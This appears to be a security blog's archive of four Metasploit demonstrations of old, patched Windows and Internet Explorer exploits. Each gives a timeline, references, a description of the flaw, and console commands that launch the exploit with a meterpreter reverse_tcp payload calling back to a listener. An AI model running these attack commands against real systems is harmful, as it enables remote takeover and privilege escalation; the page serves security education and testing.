Tag Archives: Windows

CVE-2013-3918 CardSpaceClaimCollection ActiveX Integer Underflow

Exploits, Metasploit, , , ,

Timeline :

Vulnerability discovered exploited in the wild
Patched by the vendor via MS13-090 the 2013-11-12
Metasploit PoC provided the 2013-11-15

PoC provided by :

Unknown
juan vazquez

Reference(s) :

CVE-2013-3918
BID-63631
MS13-090

Affected version(s) :

Windows XP SP3, Windows Vista SP2, Windows 7 SP1, Windows 8 and 8.1

Tested on :

with Internet Explorer 8 on Windows XP SP3

Description :

This module exploits a vulnerability on the CardSpaceClaimCollection class from the icardie.dll ActiveX control. The vulnerability exists while the handling of the CardSpaceClaimCollection object. CardSpaceClaimCollections stores a collection of elements on a SafeArray and keeps a size field, counting the number of elements on the collection. By calling the remove() method on an empty CardSpaceClaimCollection it is possible to underflow the length field, storing a negative integer. Later, a call to the add() method will use the corrupted length field to compute the address where write into the SafeArray data, allowing to corrupt memory with a pointer to controlled contents. This module achieves code execution by using VBScript as discovered in the wild on November 2013 to (1) create an array of html OBJECT elements, (2) create holes, (3) create a CardSpaceClaimCollection whose SafeArray data will reuse one of the holes, (4) corrupt one of the legit OBJECT elements with the described integer overflow and (5) achieve code execution by forcing the use of the corrupted OBJECT.

Commands :

use exploit/windows/browser/ms13_090_cardspacesigninhelper
set RHOST 192.168.6.143
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
exploit

getuid
sysinfo

CVE-2013-2551 MS13-037 Internet Explorer Vulnerability Metasploit Demo

Exploits, Metasploit, , , ,

Timeline :

Vulnerability exploited during Pwn2Own 2013 by VUPEN the 2013-03-07
Vulnerability corrected by vendor the 2013-05-14
Details on the vulnerability provided by VUPEN the 2013-05-22
Metasploit PoC provided the 2013-06-12

PoC provided by :

Nicolas Joly
4B5F5F4B
juan vazquez

Reference(s) :

CVE-2013-2551
OSVDB-91197
MS13-037
BID-58570
VUPEN Advanced Exploitation of Internet Explorer 10 / Windows 8 Overflow (Pwn2Own 2013)

Affected version(s) :

Microsoft Internet Explorer 6 through 10

Tested on Windows 7 Integral with :

Internet Explorer 8
ntdll.dll

Description :

This module exploits an integer overflow vulnerability on Internet Explorer. The vulnerability exists in the handling of the dashstyle.array length for vml shapes on the vgx.dll module. This module has been tested successfully on Windows 7 SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target to use an info leak to disclose the ntdll.dll base address is provided. This target requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1 installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).

Commands :

use exploit/windows/browser/ms13_037_svg_dashstyle
set SRVHOST 192.168.178.36
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit

getuid
sysinfo

CVE-2013-1347 Microsoft Internet Explorer 8 Vulnerability Metasploit Demo

Exploits, Metasploit, , , , , , ,

Timeline :

Watering hole campaign first reported on a private mailing list the 2013-04-30
Watering hole campaign publicly disclosed by AlienVault and Invincea the 2013-04-30
0day exploit spotted by FireEye the 2013-05-03
Microsoft Security Advisory posted the 2013-05-03
Metasploit PoC provided the 2013-05-05

PoC provided by :

Unknown
EMH
juan vazquez
sinn3r

Reference(s) :

CVE-2013-1347
OSVDB-92993
MSA-2847140

Affected version(s) :

Internet Explorer 8

Tested on Windows XP Pro SP3 with :

Internet Explorer 8

Description :

This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CGenericElement object is freed, but a reference is kept on the Document and used again during rendering, an invalid memory that’s controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild on 2013 May, in the compromise of the Department of Labor (DoL) web site.

Commands :

use exploit/windows/browser/ie_cgenericelement_uaf
set SRVHOST 192.168.178.36
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit

getuid
sysinfo

MS11-080 Microsoft Windows AfdJoinLeaf Privilege Escalation Metasploit Demo

Exploits, Metasploit,

Timeline :

Vulnerability reported to Microsoft by Bo Zhou
Coordinated public release of the vulnerability the 2011-10-11
Metasploit PoC provided the 2012-10-02

PoC provided by :

Bo Zhou
Matteo Memelli
Spencer McIntyre

Reference(s) :

MS11-080
CVE-2011-2005

Affected version(s) :

Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2

Tested on Windows XP Pro SP3 with :

N/A

Description :

This module exploits a flaw in the AfdJoinLeaf function of the afd.sys driver to overwrite data in kernel space. An address within the HalDispatchTable is overwritten and when triggered with a call to NtQueryIntervalProfile will execute shellcode. This module will elevate itself to SYSTEM, then inject the payload into another SYSTEM process before restoring it’s own token to avoid causing system instability.

Commands :

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.26
exploit -j

session -i 1
getuid
sysinfo
background

use exploit/windows/local/ms11_080_afdjoinleaf
set SESSION 1
exploit

session -i 2
sysinfo
getuid